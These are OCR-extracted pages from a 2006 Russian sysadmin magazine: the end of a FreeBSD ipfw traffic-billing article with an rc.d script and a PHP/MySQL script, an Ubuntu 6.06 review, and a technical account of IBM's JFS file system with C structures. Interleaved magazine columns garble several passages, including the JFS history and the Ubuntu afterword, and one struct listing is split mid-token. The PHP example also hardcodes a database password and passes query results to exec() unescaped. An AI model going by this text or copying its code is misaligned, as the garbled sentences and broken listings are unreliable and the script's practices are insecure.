Настройка ОС FreeBSD По результатам работы биллинга какие-то IP-адреса должны получать доступ в Интернет, а какие-то – нет. В системе это осуществляется путём добавления IP-адресов, которым разрешен доступ в Интернет, в таблицу №0 (table 0) встроенного firewall FreeBSD ipfw. Файл инициализации правил ipfw.rules может содержать среди прочих такие строки: # Переменные ${iif} и ${iip} заданы в файле rc.conf # ${iif} – имя интерфейса (сетевой карты) внутренней сети # роутера
38
17: load_rc_config $name 18: run_rc_command "$1"
Давайте разберём построчно, что делается в скрипте adc_billing.sh. Номера строк приведены для удобства рассказа о его содержимом: 1. «Магическая последовательность» символов «#!», сообщающая текущему командному интерпретатору, что за ней следуют путь и имя того командного интерпретатора, в котором данный сценарий должен выполняться. Лучше всего стартовые скрипты (в каталог /usr/local/etc/rc.d) писать на языке sh, во-первых, очень удобная возможность задания очередности пуска скрипта (см. пояснение к строкам 3 и 4, а также rcorder(8)), во-вторых, приходится заново писать весь код, уже существующий в rc.subr и, в-третьих, в силу во-первых и во-вторых, это противоречит идеологии системы. 2. Имя сервиса, с которым работает данный скрипт. 3. Имя одного или нескольких сервисов, которые должны быть запущены до данного скрипта. Регистр имеет значение, поэтому имя сервиса должно быть указано точно так, как оно написано в соответствующем скрипте в # PROVIDE 4. Ключевое слово. В нашем скрипте оно одно – shutdown. Благодаря его присутствию, наш скрипт будет вызываться скриптом /etc/rc.shutdown при выключении и перезагрузке системы. 5, 6. Напоминание об имени и возможных значениях переменной, которая, будучи добавлена в rc.conf, управляет работой данного скрипта. 7. В файле /etc/rc.subr содержатся функции для выполне-
администрирование Из истории развития стартовых скриптов BSD-систем Когда-то в BSD-системах был один стартовый скрипт – /etc/rc. Процесс init(8) вызывал его при запуске ОС для выполнения всех действий, которые надо сделать в однопользовательском окружении (проверка дисков, монтирование разделов, установка параметров сети, запуск различных демонов и т. д.). Конечно же, список этих действий не одинаков для различных систем, и администраторам приходилось подгонять его под свои нужды путём редактирования файла /etc/rc. Найти нуж-
ные строки в длинном файле было большой проблемой. Другим недостатком такой системы была невозможность перезапуска какого-либо одиночного сервиса. В связи с этим сообществом разработчиков NetSBD была создана система rc.d, которая позднее была импортирована во FreeBSD. Вот идеи, положенные в её основу: Модульность – для каждой задачи свой скрипт, используя который можно запустить, остановить или узнать статус сервиса.
ния типичных операций. Ими рекомендуется пользоваться всем rc.d скриптам. Естественно, для того чтобы ими пользоваться, нужно включить их в текущий скрипт, что и делается в этой строке. 8. Задание обязательной для rc.subr переменной «name» значения – имени скрипта. Должна быть установлена до вызова любой из функций, содержащихся в rc.subr. 9. Получение имени переменной, изменением значения которой разрешается или запрещается запуск нашего сервиса. (Причиной существования функции «set_rcvar» являются различия в соглашении об именовании таких переменных во FreeBSD и NetBSD. Во FreeBSD в rc.conf пишут «service_enable="YES"», а в NetBSD – «service="YES"».) 10. Переменная, значение которой – командная строка для запуска нашего сервиса. Если она задана, rc.subr будет действовать по сценарию обслуживания стандартного демона. В частности, предоставляются методы по умолчанию для следующих аргументов скрипта: start, stop, restart, status, poll, rcvar. 11. Определение имени функции, которая будет вызвана при запуске нашего скрипта с аргументом «stop». Как видно из строк 13-16, в ней ничего не делается, кроме вывода сообщения. Это не является строго необходимым, но мне кажется, что так правильнее и красивее, к тому же, это задел на будущее – если биллинг так разовьётся, что нужно будет делать какие-либо действия при его выключении. 12. Если переменная, определяющая запуск нашего скрипта, в rc.conf не декларирована, то она объявляется и ей присваивается значение «NO». Тем самым мы избегаем запуска скрипта. 17. Загрузить переменные из rc.conf. 18. Вызов основной функции из rc.subr(8) для выполнения действия, ради которого скрипт был запущен. При этом она (функция) будет использовать переменные и другие функции, определённые в скрипте. Обычно это последняя строка скрипта. Необходимо, чтобы основная программа биллинга запускалась каждые 10 минут и обновляла правила firewall в соответствии с информацией из базы данных. Для этого в файл /etc/crontab добавляется следующая строка: */10 * * * * /usr/home/root/sbin/adc_billing.php
№8, август 2006
root
↵
Повторное использование кода – типичные операции, выполняемые большинством скриптов, выполнены в виде функций на языке sh и собраны в /etc/rc.subr. Благодаря этому типовые rc.d-скрипты могут быть длиной всего лишь в несколько строк. Подробную информацию по rc.d-скриптам можно найти в руководстве по FreeBSD – темы rc(8), rc.subr(8), rcorder(8), rc.conf(5), а также в статье Yar Tikhiy «A practical guide to BSD rc.d scripting» по адресу: http://people. freebsd.org/~yar/rcng/article.html.
Основная программа биллинга Краткое описание выполняемых действий: adc_billing.php запрашивает у MySQL сумму трафика за текущий месяц (из таблицы Log) по каждому IP-адресу (из перечисленных в таблице Ip), у которого поле Ip.quota не равно NULL, и затем, если число вычисленного трафика меньше значения Ip.quota, добавляет этот IP-адрес в таблицу №0 (table 0) firewall ipfw. #!/usr/local/bin/php <? $link = mysql_connect("localhost", "view_user", ↵ "987654321") or die("Could not connect: ↵ " . mysql_error()); mysql_select_db("traffic") ↵ or die("Could not select database"); $query = " SELECT Ip.ip, Ip.quota, Tbl.bytes FROM ( SELECT Log.ip_to, SUM(Log.all_bytes) AS bytes FROM Log WHERE Log.ip_to LIKE '192.168.0.%' AND Log.first_time LIKE '" . date("Y-m") . "-%' GROUP BY Log.ip_to ) Tbl RIGHT JOIN Ip ON Ip.ip = Tbl.ip_to WHERE Ip.quota IS NOT NULL AND (Tbl.bytes < Ip.quota OR Tbl.bytes IS NULL); "; $result = mysql_query($query) or die("Query N1 failed: ↵ " . mysql_error()); exec("/sbin/ipfw table 0 flush"); while ($row = mysql_fetch_object($result)) { exec("/sbin/ipfw table 0 add " . $row->ip); } ?>
Надеюсь, что описанные в статье методика и набор программ, доведённые в процессе уже достаточно длительной эксплуатации до того уровня, на котором они существуют сегодня, помогут вам решать аналогичные задачи.
39
администрирование
Обзор дистрибутива Ubuntu 6.06
Сергей Супрунов Вышла новая версия уже почти культового дистрибутива, который, ворвался на рынок Linux-систем и по показателю популярности оставил позади таких «монстров», как Fedora Core и openSUSE. Теперь он нацеливается и на корпоративный сектор.
Предыстория Когда Марк Шаттлворт, неплохо заработав в период расцвета «дот-комов», решил, что пора возвращать миру «долги», он избрал своим полем деятельности поддержку открытого ПО. Одним из наиболее заметных результатов его работы и финансовых вложений стал дистрибутив Ubuntu, ставший отражением представлений Марка об идеальной операционной системе. Основная идея, заложенная в Ubuntu, – свободные программы должны быть действительно свободными и доступными каждому. Реализуется это, во-первых, абсолютной бесплатностью дистрибутива (вы даже можете воспользоваться программой Ship-It на сайте проекта и получить диск с дистрибутивом по почте, не потратив ни копейки). Вовторых, разработчики прилагают огромные усилия для того, чтобы каждый, независимо от его «степени готовности» к Linux-решениям, чувствовал себя в системе легко и свободно. Поэтому очень большое внимание уделяется переводу интерфейса чуть ли не на все языки мира. Ещё одна концепция Ubuntu – «одна задача – одно приложение». Здесь вам не придётся выбирать текстовый редактор среди десятков пунктов в меню – разработчики включили в дистрибутив только один редактор, зато, по их мнению, самый лучший. Аналогичная ситуация и с дру-
Рисунок 1. Инструмент для работы с дисковыми разделами, в чём-то даже удобнее QtParted
40
гими приложениями. Опытных пользователей это вряд ли обрадует, а вот новички смогут сразу приступить к работе, не теряясь во множестве вариантов. В основе дистрибутива Ubuntu лежит Debian, так что пользователи получают всю мощь и гибкость этой системы, огромные репозитарии deb-пакетов, превосходную документацию, а также всегда могут рассчитывать на доброжелательность сообщества.
Установка В отличие от версии 5.10, где во время инсталляции ещё просматривались черты «родителя» (установка там выполнялась в текстовом режиме, хотя псевдографика и делала диалоги удобными и понятными), версия 6.06 пошла другим путём. Здесь реализована идея «инсталлятор как приложение», когда система загружается в режиме LiveCD, а установка на винчестер выполняется программой, запускаемой как обычное приложение. Впервые такую концепцию я наблюдал в Gentoo 2006.0 для архитектуры x86, и, несмотря на «кривость» той реализации, идея показалась весьма интересной. Таким образом, вы убиваете сразу двух зайцев: проверяете совместимость дистрибутива с вашим «железом» ещё до того, как выделите для системы место на вашем жёстком диске. И получаете в своё распоряжение универсальный CD-диск, который после инсталляции сохраняет свою полезность, поскольку его можно использовать и как полноценный LiveCD с такими приложениями, как Gimp, Firefox, OpenOffice.org. Итак, загрузившись с LiveCD и убедившись, что есть и звук, и сеть, и видео (для этого в папке Examples лежат файлы различных форматов), щёлкаем по иконке «Install». Установка выполняется в шесть шагов, начиная с выбора языка (есть и русский), и не требует никаких усилий. Исключение составляет разве что 5-й шаг, где вам предстоит подготовить место на диске, если вы не планируете его полностью очистить (рис. 1). После установки – традиционная перезагрузка, и всё готово к работе. Кстати, версия 5.10 у меня отказывалась
администрирование ставить Grub, сославшись на какую-то несовместимость с SATA-дисками. В 6.06 Grub был установлен без лишних вопросов.
Хочу права root! Да, пароль root у вас никто не спросит. Нужны права суперпользователя? Просто выполняйте каждую команду через sudo. Кстати, если очень захочется поработать в системе как root, наблюдая слева привычную «решёточку», введите «sudo su-» и наслаждайтесь.
Встречаем по одёжке Первое, что приятно удивило, – очень качественная русификация (интерфейс Gnome, пункты меню, всплывающие подсказки, справочная информация – всё поражает высоким качеством перевода). Рабочее окружение – Gnome 2.14, ядро – 2.6.15. Да и можно отметить, что версии установленного ПО подобраны самые свежие. Тем не менее появившаяся в 6.06 служба автоматических обновлений сразу же предложила поставить 132 обновления. К сожалению, эти обновления не ранжированы по степени критичности (как это сделано, например, в OpenSUSE), а на закачку 184 Мб без разбора отважится не каждый, равно как и «копаться» в сотне пакетов. Впрочем, лиха беда начало – в следующей версии, будем надеяться, увидим и ранжирование. Наконец-то на моей «Тошибе» нормально заработал спящий режим. Правда, по занимаемому времени переход в него и возврат не сильно отличаются от полного выключения, но тем не менее – новость приятная. Очень понравилась работа Samba – ресурсы домашней Windows-машины стали доступны сразу же после инсталляции системы, без каких-либо дополнительных настроек (рис. 2). Из приятных мелочей отмечу поддержку «из коробки» скроллинга при помощи правого края тачпада моего ноутбука. В 5.10 мне его сильно не хватало. Хотя это скорее заслуга обновлённой версии X-сервера. Ещё одно «косметическое», но удобное новшество – индикатор прогресса при размонтировании usb-flash. Раньше окончание синхронизации данных приходилось отслеживать по светодиоду самой «флэшки», теперь же вы точно будете знать момент, когда устройство уже можно отсоединять физически. Из недостатков от прежних версий сохранилось отсутствие русских шрифтов в текстовой консоли (переход в которую выполняется по <Ctrl-Alt-Fx>) – система пытается общаться с вами по-русски, но в результате на экране – одни квадратики. Впрочем, это легко «лечится» установкой пакета console-cyrillic. Кстати, о пакетах…
Начиная с версии 6.06 для Ubuntu декларируется долгосрочная поддержка. Так, для серверных версий обновления будут доступны в течение пяти лет, для рабочих станций – в течение трёх. Подобный шаг свидетельствует о стремлении Ubuntu занять своё место и в корпоративном секторе. Пока что состав дистрибутива больше ориентирован на домашнего пользователя, чем на офисных клерков. Тем не менее хорошая поддержка сетей Windows и мощный офисный пакет «из коробки» будут не лишними в локальной сети предприятия. К тому же имеющиеся версии дистрибутива для всех основных архитектур (x86, AMD64, Mac, PowerPC) – хороший задел на будущее.
Работа с пакетами
Послесловие
Рисунок 2. Работа с сетью – тоже на уровне
Рисунок 3. Работа с пакетами: легко, удобно, аккуратно...
ществом. При необходимости можно поставить и проприетарные приложения, для которых имеются deb-пакеты. Например, с установкой Opera никаких проблем не возникло – двойной щелчок, и в меню, в разделе «Интернет», появился дополнительный пункт. Естественно, вы можете в полном объёме использовать и консольные утилиты dpkg.
И целого мира мало?
Debian есть Debian, так что к вашим услугам вся мощь ко- У меня сложилось впечатление об Ubuntu как об удачном манд apt и aptitude (рис. 3). Для тех, кто не очень жалует дистрибутиве как для домашнего использования, так и для командную строку, по-прежнему во всей красе доступен попыток «пересадить» на открытые приложения пользоваSynaptic в двух видах: упрощённый «пользовательский» телей локальной сети небольшого предприятия. Ребята из Canonical и сотни добровольцев сделали и так называемый расширенный. По умолчанию подключены только «официальные» репозитарии, но в настрой- (и продолжают делать в хорошем темпе) всё возможное, ках легко добавить и остальные, поддерживаемые сооб- чтобы Ubuntu смог использовать каждый.
№8, август 2006
41
администрирование
Как устроена файловая система JFS
Андрей Пешеходов JFS, файловая система последнего поколения от IBM, спроектирована стройно и четко, алгоритмы обработки данных и метаданных отличаются высокой степенью оптимизации. Но показатели ее производительности не впечатляют. Попробуем разобраться, в чем же дело.
Истоки технологии JFS
тирования. В OS/2 Warp Client она бы- тывал reiserfs. Ни одна из указанных IBM представила свою файловую сис- ла включена в октябре 2000 года. Па- ФС не была полностью функциональтему для UNIX как JFS с первым рели- раллельно с этими усилиями в 1997 на в Linux в 1999 году, и IBM решила, зом AIX v3.1 в 1990 году. Эта ФС, из- году часть разработчиков JFS верну- что JFS является достаточно сильной вестная сейчас как JFS1, была основ- лась в команду сопровождения AIX технологией и добавит вес набираюной для AIX в течение 10 лет. Пять лет и занялась адаптацией кода новой JFS щему силу Linux. спустя была начата работа по ее усо- к этой ОС. К маю 2001 года Enhanced Программисты из IBM посоветовершенствованию с целью улучшения Journaled File System (называемая вались с основными разработчиками масштабируемости и реализации эф- JFS2) была доступна для AIX 5L. В де- файловых систем Linux на счет возфективной поддержки SMP-систем. кабре 1999 года был сделан срез можности добавления еще одной журТакже ставилась задача улучшения пе- (snapshot) оригинального дерева ко- налируемой ФС. Одно из основных пореносимости ФС для обеспечения ее да JFS, и началась работа по ее пере- ложений философии Linux: выбор – портирования и в другие операцион- носу в Linux. это хорошо, поэтому идея еще одной ФС была встречена с энтузиазмом. ные системы (код JFS1 был очень тесIBM воспользовалась поддержкой но привязан к менеджеру памяти AIX, Портирование и вряд ли смог бы эффективно рабо- К декабрю 1999 года уже существо- сообщества Open Source. Команда тать в OS/2 или Linux). вали 3 перспективные ФС, только JFS последовала совету сообщества: Новая Journaled File System, на ко- разрабатываемые или переносимые «release early and release often» (доторой основана Linux-версия JFS, бы- в Linux. ext2 была в процессе добав- словно: «выпустить рано и выпускать ла впервые представлена с OS/2 Warp ления журналирования (ext3), SGI на- часто»), и привлекла множество стоServer в апреле 1999 года, после не- чала перенос своей файловой систе- ронних разработчиков к переносу JFS скольких лет проектирования и тес- мы XFS с IRIX, и Hans Reiser разраба- в Linux. Всего через 3 месяца после на-
42
администрирование чала работ (в феврале 2000) был выпущен первый Linux-релиз JFS. Он включал в себя функции mount/unmount и поддержку программы ls. Рассмотрим особенности устройства и реализации JFS более подробно.
/* Двоичный логарифм (s_bsize/s_pbsize) */ __le16 s_l2bfactor;
Дисковый раздел
/* Дополнение (для выравнивания) */ __le16 pad;
Файловая система JFS создается на разделе (partition). Дисковый раздел, с точки зрения JFS, имеет следующие параметры: Фиксированный размер блока, PART_BSize, который может принимать значения 512, 1024, 2048 или 4096 байт. Этот параметр определяет размер наименьшего элемента обмена данными с разделом. Он соответствует размеру физического сектора того диска, на котором расположен раздел, и чаще всего равен 512 байт. Размер раздела, величину PART_NBlocks, содержащую количество дисковых блоков на разделе. Абстрактное адресное пространство: [0,(PART_NBlocks-1)] дисковых блоков.
Логический том Для соответствия стандарту DCE DFS (Distributed Computing Environment Distributed File System – распределенная файловая система для распределенной среды вычислений) JFS отделяет понятие пула дискового пространства от понятия монтируемого поддерева именованных объектов файловой системы. Дисковый раздел представлен в JFS логическим томом (aggregate в действительности означает «совокупность», «целостность», но для удобства мы будем называть его томом), а совокупность файлов и каталогов именуется файлсетом (fileset – набор фалов). Существует в точности один логический том на физическом разделе, файлсетов же может быть несколько (в Linux эта возможность не поддерживается из-за ограничений интерфейса VFS). В первом релизе JFS поддерживала только один набор файлов на том, однако все метаданные были спроектированы для более общего случая. Логический том состоит из следующих частей: 32 Кб неиспользуемого дискового пространства в начале. Первичный и вторичный суперблоки, содержащие глобальную информацию о данном томе. Вторичный суперблок есть точная копия первичного, положение обоих на диске фиксировано. Структура суперблока описана в jfs_superblock.h: /* * Суперблок логического тома */ struct jfs_superblock { char s_magic[4]; /* Magic-номер */
/* Размер физического блока в байтах */ __le32 s_pbsize; /* Двоичный логарифм s_pbsize */ __le16 s_l2pbsize;
/* Размер allocation-группы в логических блоках */ __le32 s_agsize; /* Атрибуты тома (см. jfs_filsys.h) */ __le32 s_flag; /* Сосотяние JFS(mount/unmount/recovery), * см. jfs_filsys.h */ __le32 s_state; /* >0 если задействовано сжатие данных */ __le32 s_compress; /* Первый экстент вторичной таблицы inode тома */ pxd_t s_ait2; /* Первый экстент вторичной карты inode тома */ pxd_t s_aim2; /* Адрес устройства, на котором расположен * журнал */ __le32 s_logdev; /* Номер mount-сессии */ __le32 s_logserial; /* Встроенный экстент журнала */ pxd_t s_logpxd; /* Встроенный экстент рабочего пространства * для fsck */ pxd_t s_fsckpxd; /* Время последнего обновления */ struct timestruc_t s_time; /* Количество блоков, зарезервированных * для служебного журнала fsck. */ __le32 s_fsckloglen; /* Определяет, какой из сервисных логов fsck * наиболее свежий: * 0 – в логах еще нет данных * 1 – первый * 2 - второй */ s8 s_fscklog; /* Имя тома. Должно быть 11 байт длиной * для соответствия требованиям к загрузочному * сектору OS/2. Используется только если * s_version = 1 */ char s_fpack[11]; /* Параметры */ __le64 s_xsize; pxd_t s_xfsckpxd; pxd_t s_xlogpxd; char s_uuid[16]; /* 128-битный uuid тома */ char s_label[16]; /* Метка тома */ /* 128-битный uuid устройства с журналом */ char s_loguuid[16]; };
__le32 s_version; /* Вверсия */
Два экземпляра таблицы inodes тома, содержащей
/* Размер тома в физических блоках, для VFS * количество блоков */ __le64 s_size;
inodes, описывающие глобальные управляющие структуры тома. Логически это просто массивы inodes. Так как том не имеет структуры каталога, объекты, описываемые этими inodes, не видны в пространстве имен какого-либо файлсета. Две копии карты размещения inodes, описывающей таблицу inodes тома.
/* Размер блока тома в байтах, для VFS – * размер фрагмента */ __le32 s_bsize; /* Двоичный логарифм s_bsize */ __le16 s_l2bsize;
№8, август 2006
43
администрирование Карта размещения блоков, описывает структуры, управ- ция resizefs), максимальное количество AGs ограничено 128. ляющие выделением и освобождением блоков тома.
С другой стороны, существует ограничение на минималь-
Рабочее пространство для fsck, необходимое для отсле- ный размер одной AG – в 8192 блоков тома. Число, выраживания выделения блоков тома. Оно необходимо потому, что JFS поддерживает очень большие тома, и данные о выделенных/свободных блоках могут не поместиться в памяти. Это пространство описывается суперблоком. Один байт необходим для описания 8 блоков (по 1 биту на блок). Рабочее пространство fsck всегда расположено в конце тома. Встроенный журнал, обеспечивающий место для журналирования изменений метаданных тома. Описывается суперблоком и всегда расположено за рабочим пространством fsck.
Состав таблицы inodes тома таков: Inode 0 зарезервирован. Inode 1 описывает все дисковые блоки тома, включая карту inodes. Это рекурсивное представление, при котором сам inode расположен в файле, который он описывает. Очевидная трудность рекурсивного представления преодолевается здесь путем размещения по крайней мере первого inode тома в фиксированном месте (через 4 Kb после первичного суперблока тома). Таким образом, JFS может просто отыскать inode 1, а от него и остальные inodes таблицы – следуя по B+ дереву в inode 1. Для репликации таблицы inodes тома JFS также должна находить копию inode 1 – для достижения оставшейся вторичной таблицы. Для этих целей в суперблоке есть поле, содержащее дескриптор экстента, описывающий положение inode 1 вторичной таблицы. Inode 2 описывает карту размещения блоков тома. Inode 3 описывает встроенный журнал (когда ФС смонтирована). Дисковая копия этого inode не указывает на какие-либо данные, его поля заполняются только в in-memory образе. Inode 4 описывает файл плохих блоков, найденных при форматировании тома. Inodes с 5-го по 15-й зарезервированы. Начиная с 16-го, существует по 1 inode на каждый файлсет. Эти inodes описывают управляющие структуры, представляющие набор файлов. С добавлением новых наборов файлов к тому таблица inodes тома может расти.
Allocation groups Allocation groups (AGs, группы размещения) разбивают пространство тома на части и позволяют политике выделения ресурсов JFS использовать хорошо известные методы для достижения высокой производительности ввода/вывода. Во-первых, JFS пытается группировать вместе дисковые блоки и inodes для связанных данных. Во-вторых, ФС старается распределить несвязанные данные по всему тому для согласования размещения. AGs в пределах тома идентифицируются отсчитываемым от нуля индексом, именуемым номером AG. Размеры AGs выбираются таким образом, чтобы они могли вмещать достаточно большие объекты. Для минимизации количества изменений, которые необходимо внести при расширении или усечении тома (имеется в виду опера-
44
жающее размер AG в dmap-страницах (4 Кб, от disk map – дисковая карта), должно быть степенью двойки. Выбранный исходя из всех этих условий размер записывается в специальное поле суперблока тома. Том с размером, не кратным размеру AG, будет содержать одну частичную группу размещения. Она обрабатывается так же, как и обычная AG, а несуществующие физически блоки в карте выделения будут помечены как занятые.
Файлсеты Как уже говорилось, файлсет есть просто набор именованых файлов и каталогов. Он полностью содержится в пределах одного тома. Заметьте также, что на одном томе может существовать несколько файлсетов; в этом случае все они разделяют общий пул свободных дисковых блоков тома. Каждый файлсет располагает собственной таблицей inodes и картой их размещения, которая содержит данные о положении inodes на диске. «Супер-inode», описывающий эту карту и другую глобальную информацию о файлсете, расположен в таблице inodes тома и был описан выше. Inodes в таблице файлсета имеют следующие значения: Нулевой inode зарезервирован. Inode 1 содержит дополнительную информацию о файлсете, которая не поместилась в структурах, описываемых inodes тома. Inode 2 описывает корневой каталог данного файлсета. Заметьте, что JFS соблюдает общее для файловых систем UNIX соглашение, когда inode за номером 2 описывает корневой каталог. Inode 3 описывает ACL-файл. Начиная с четвертого, следуют inodes для обычных объектов файловой системы – файлов и каталогов.
Структуры данных Каждый объект JFS описывается inode. Inode содержит специфичную для объекта информацию, например, временные штампы и тип файла (регулярный, каталог, или др.). Он также «содержит» B+ дерево для отслеживания положения экстентов. Примечательно, что все метаданные JFS (за исключением суперблока) представлены в виде файлов. Благодаря использованию структуры inode для описания размещения этих данных, их положение на диске может быть изменено в новых версиях JFS без внесения изменений в код.
Экстенты Файл размещается на диске в виде группы экстентов. Экстент может иметь длину от 1 до (224-1) блоков тома; следовательно, большие экстенты охватывают несколько AGs. Экстенты индексируются в B+ дереве для улучшения производительности операций поиска и вставки. Для однозначного определения экстента необходимо знать всего 2 параметра: номер его стартового блока и длину.
администрирование Основанная на экстентах ФС, предоставляющая пользователю возможность задавать размер блока, по идее почти не подвержена внутренней фрагментации. Пользователь может сконфигурировать том с маленьким размером блока (минимально – 512 байт) для уменьшения внутренней фрагментации при работе с большим количеством мелких файлов. Вообще говоря, драйвер JFS старается размещать файлы в как можно меньшем количестве экстентов, что позволяет формировать длинные I/O-запросы к диску, которые (как на запись, так и на чтение) выполняются гораздо более эффективно, чем группа коротких. Однако это не всегда возможно. К примеру, copy-on-write клонирование сегмента файла вызовет деление протяженного экстента на несколько более коротких. Другой пример – ограничение размера экстента. Он может быть лимитирован при обработке сжатых файлов – так как драйвер должен прочитать в память весь экстент и разжать его. Имея в своем распоряжении ограниченный объем памяти, драйвер JFS должен быть уверен, что разжимаемые данные не выйдут за пределы доступного региона. Утилита для дефрагментации избавляет пользователя от роста внешней фрагментации, которая возникает из-за динамического выделения/освобождения экстентов переменной длины. Результат этого процесса – появление разбросанных по всему диску свободных экстентов разного размера. Defragment-программа производит объединение множества мелких свободных экстентов в один большой.
Inodes Дисковый inode JFS занимает 512 байт и содержит 4 базовых группы данных (четверти). Первая группа хранит POSIXатрибуты JFS-объекта, вторая – дополнительные атрибуты (данные для работы с VFS, специфичную для ОС информацию и заголовок B+ дерева). Третья группа содержит либо дескриптор экстента корневого узла B+ дерева, либо встроенные данные, четвертая – расширенные атрибуты, встроенные данные или дополнительные дескрипторы экстентов. Структура дискового inode определена в файле jfs_dinode.h как структура dinode (см. листинг). В JFS inodes размещаются динамически, что дает несколько преимуществ по сравнению со статическим подходом. Дисковый блок под inode может быть размещен по любому адресу, что развязывает номер inode с его координатами. Это упрощает изменение размера тома. Inodes могут быть перемещены без их перенумерации, что избавляет JFS от необходимости вникать в структуру каталогов при перемещении inode. Эта развязка также необходима для поддержки клонирования файлсетов, обязательной для соответствия стандарту DFS. С другой стороны, это порождает и проблемы. При статическом размещении геометрия файловой системы явно описывается положением inodes на диске, с динамическим же размещением требуются отдельные картирующие структуры. Из-за накладности репликации этих структур дизайнеры JFS решили смириться с риском потери метаданных. Однако JFS журналирует B+ деревья, что позволяет в случае сбоя без особого труда отыскивать эти карты.
№8, август 2006
/* * on-disk inode : 512 bytes * * note: align 64-bit fields on 8-byte boundary. */ struct dinode { /* 1. Базовая четверть – POSIX атрибуты. 128 байт. */ /* признак принадлежности inode к конкретному * файлсету */ __le32 di_inostamp; __le32 di_fileset; /* номер файлсета */ __le32 di_number; /* номер inode */ __le32 di_gen; /* номер поколения inode */ pxd_t di_ixpxd;
/* дескриптор inode-экстента */
__le64 di_size; /* размер объекта */ __le64 di_nblocks; /* количество выделенных блоков */ __le32 di_nlink;
/* счетчик ссылок на объект */
__le32 di_uid; __le32 di_gid;
/* UID владельца */ /* GID владельца */
__le32 di_mode;
/* атрибуты, формат, разрешения */
/* время последнего доступа */ struct timestruc_t di_atime; /* время последней модификации атрбутов */ struct timestruc_t di_ctime; /* время последней модификации данных */ struct timest /* время создания */ struct timestruc_t di_mtime;ruc_t di_otime; dxd_t di_acl;
/* ACL-дескриптор */
dxd_t di_ea;
/* EA-дескриптор */
/* следующий доступный индекс в dir_table */ __le32 di_next_index; __le32 di_acltype; /* тип ACL */ /* 2,3,4. Четверти расширений. */ union { struct { /* Таблица directory-слотов. */ struct dir_table_slot _table[12]; /* Корень дерева каталогов */ dtroot_t _dtroot; } _dir;
};
struct { union { /* не используется */ u8 _data[96]; struct { /* не используется */ void *_imap; /* generator */ __le32 _gengen; } _imap; } _u1; union { /* корень дерева экстентов */ xtpage_t _xtroot; struct { /* не используется */ u8 unused[16]; /* EA-дескриптор */ dxd_t _dxd; union { /* [minor:major] */ __le32 _rdev; /* имя для symlink */ u8 _fastsymlink[128]; } _u; /* встроенные EAs * u8 _inlineea[128];/ } _special; } _u2; } _file; } u;
45
администрирование len – 24-битное поле, содержащее длину экстента в блоках.
addr1,addr2 – 40-битный адрес экстента.
XAD описывает 2 абстрактных диапазона
На диске inodes размещаются в виде inode-экстентов, представляющих собой массивы inodes. По определению такой экстент содержит 32 inodes и, следовательно, занимает 16 Кб. При размещении нового inode-экстента он не заполняется нулями. Для того чтобы проверить, используется ли данный inode, fsck смотрит на его счетчик ссылок. Для поиска inodes на диске служат карты размещения inodes (см. ниже).
B+ деревья экстентов Дескриптор выделенного экстента (структура xad_t из файла jfs_xtree.h, далее просто XAD) описывает экстент и имеет 2 дополнительных поля для использования в файлах: offset – логическое смещение от начала файла и поле флагов: /* * Дескриптор выделенного экстента (XAD) */ typedef struct xad { unsigned flag:8; /* флаги */ unsigned rsvrd:16; /* зарезервировано */ unsigned off1:8; /* смещение в блоках */ __le32 off2; /* смещение в блоках */ unsigned len:24; /* длина в блоках */ unsigned addr1:8; /* адрес в блоках */ __le32 addr2; /* адрес в блоках */ } xad_t;
flag – 8-битное поле, содержащее различные флаги, например, бит copy-on-write, если экстент размещенный, но не записываемый, данные для компрессии и т. д. rsrvd – 16-битное поле, зарезервированное для будущего использования. Всегда ноль. off1,off2 – 40-битное поле, выражающее логическое смещение первого блока экстента от начала файла в блоках.
46
XAD описывает 2 абстрактных диапазона: физический, относительно всего тома, и логический – относительно файла, которому принадлежит экстент. JFS поддерживает одну generic-структуру B+ дерева для всех индексируемых объектов. Меняется только формат листовых узлов. В дереве дескрипторов выделенных экстентов (свое для каждого файла) ключами являются их логические смещения. Нижняя часть второй четверти дискового inode содержит маркер, который указывает, что хранится во второй половине inode, которая может содержать встроенные сырые данные – если файл достаточно мал, или корневой узел B+ дерева экстентов – если файл в inode не помещается. Заголовок узла описывает, сколько XAD использовано и сколько еще доступно. Вообще говоря, если данные файла расположены в восьми или менее экстентах, то корень дерева будет содержать просто до 8 XAD-структур, представляя из себя листовой узел. Иначе эти восемь XAD будут указывать на дополнительные листовые или внутренние узлы дерева. Как только 8 XAD-структур в третьей четверти inode заполнятся, драйвер JFS сделает попытку разместить дополнительные XAD в четвертой четверти. Если бит INLINEEA (см. ниже) в поле di_mode дискового inode установлен, последняя его четверть доступна. Когда все возможные XAD-структуры в inode использованы, B+ дерево разбивается. JFS выделяет 4 Кб дискового пространства для листового узла дерева (в терминологии JFS любой регион дискового пространства размером 4 Кб именуется страницей; в дальнейшем вы увидите, что несмотря на обилие «промежуточных» сущностей – типа блока раздела и блока тома, JFS оперирует в основном со страницами; вероятно, это связано с особенностями подсистемы управления памятью AIX и OS/2), который является просто массивом XAD-структур с заголовком, содержащим указатель на первый свободный XAD. Далее 8 XAD копируются из inode в лист, заголовок инициализируется указателем на 9-й XAD. Затем JFS обновляет корень дерева – первую XAD-структуру в inode. Она теперь будет указывать на вновь размещенный лист. Также обновляется заголовок корневого узла – ведь теперь он содержит только один XAD. Маркер во второй четверти inode теперь показывает, что inode содержит чистый корень B+дерева. По мере добавления новых экстентов к файлу их дескрипторы будут вставляться в тот же самый листовой узел, пока он не заполнится. Когда это происходит, выделяются еще 4 Кб дискового пространства для нового листа, а в inode добавляется еще один XAD, указывающий на этот узел. Так продолжается до тех пор, пока все 8 XADструктур в корневом узле (в inode) не будут использованы. В этом случае размещается внутренний узел дерева размером 4 Кб, в который будут скопированы 8 XAD из inode. Корневой узел же полностью создается заново и на выходе содержит лишь один XAD, указывающий на вновь размещенный внутренний узел.
администрирование В файле jfs_xtree объявлена структура xtpage, описывающая заголовок корня B+дерева. В jfs_btree.h есть структура btpage, формат которой соответствует виду заголовков внутренних и листовых узлов дерева.
Карта выделения блоков
ка журналирования битовых карт применяется сейчас в reiser4).
Выделение inodes При динамическом размещении inodes их номера более не привязаны к положению на диске, и это порождает ряд проблем, для решения которых было необходимо ввести дополнительные структуры данных: Прямой поиск – по номеру inode найти его на диске (например, при открытии файла). Обратный поиск – по номеру блока найти ближайшие свободные inodes (при размещении новых inodes). Поиск свободных номеров inodes – для размещения нового inode-экстента необходимо найти 32 последовательных не занятых номера inode.
